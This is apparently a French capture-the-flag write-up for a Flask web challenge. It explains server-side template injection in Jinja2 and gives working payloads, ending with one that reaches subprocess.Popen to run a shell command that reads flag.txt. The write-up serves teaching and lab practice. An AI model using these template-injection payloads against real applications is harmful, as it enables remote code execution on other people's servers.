Render

Catégorie: Web Difficulté: - Flag: CTFREI{SST1_f0r3v3r}

Challenge

Description


J'ai fait ce petit site web, regarde le code ! T'aimes bien ?

Essaie de récupérer le contenu de mon fichier flag.txt si t'es un chad 😼

http://intro.ctfrei.fr:6004

Solution

On est sur du Flask où le serveur utilise la fonction render_template_string pour afficher dans un HTML le paramètre name que l'on passe dans l'URL. En réalité, Flask utilise Jinja2 comme "template engine", c'est-à-dire que pour générer la page HTML renvoyée au client, c'est Jinja2 qui s'en occupe.

L'objectif va donc être d'utiliser notre entrée pour faire faire des choses inattendues au serveur. La vulnérabilité liée à ce concept s'appelle SSTI (Server Side Template Injection). Voici un wiki spécifique aux SSTI pour Jinja2.

Proof of Concept

On commence par tester si le serveur est bien injectable avec le payload classique {{ 7*7 }}.

7*7 fait bien 49, notre entrée a donc été évaluée. On va pouvoir pousser un peu plus loin nos payloads.

L'objectif va d'être d'appeler des fonctions Python pour faire ce qu'on veut. Le problème est que Jinja2 n'expose pas les fonctions natives, autrement dit, elles ne sont pas directement disponibles dans notre injection. On va donc faire de la magie noire pour essayer de récupérer un shell (on pourrait juste récupérer la fonction open() mais on veut faire les choses bien ici eheh).

Exploitation

On n'a pas de limite au niveau des caractères que l'on peut utiliser dans notre injection, ça va nous faciliter les choses.

Pour exécuter des commandes, on peut passer par la classe Popen, on commence donc par lister les classes existantes pour la récupérer, voici un exemple en local :

>>> ''.__class__
<class 'str'>

>>> ''.__class__.mro()
[<class 'str'>, <class 'object'>]

>>> ''.__class__.mro()[1]
<class 'object'>

>>> ''.__class__.mro()[1].__subclasses__()
[<class 'type'>, ..., <class 'subprocess.Popen'>, ..., <class 'rlcompleter.Completer'>]

Comme la liste dépend évidemment du contexte, pour récupérer sa liste, on envoie au serveur le payload {{ ''.__class__.mro()[1].__subclasses__() }. J'utilise Burp pour faciliter le rejoue des requêtes :

Popen est à la position 351 dans cette grande liste, on peut maintenant l'utiliser pour exécuter des commandes, voici le payload

{{ ''.__class__.mro()[1].__subclasses__()[351]('cat flag.txt',shell=True,stdout=-1).communicate()[0].decode() }}

Dernière mise à jour

Cet article vous a-t-il été utile ?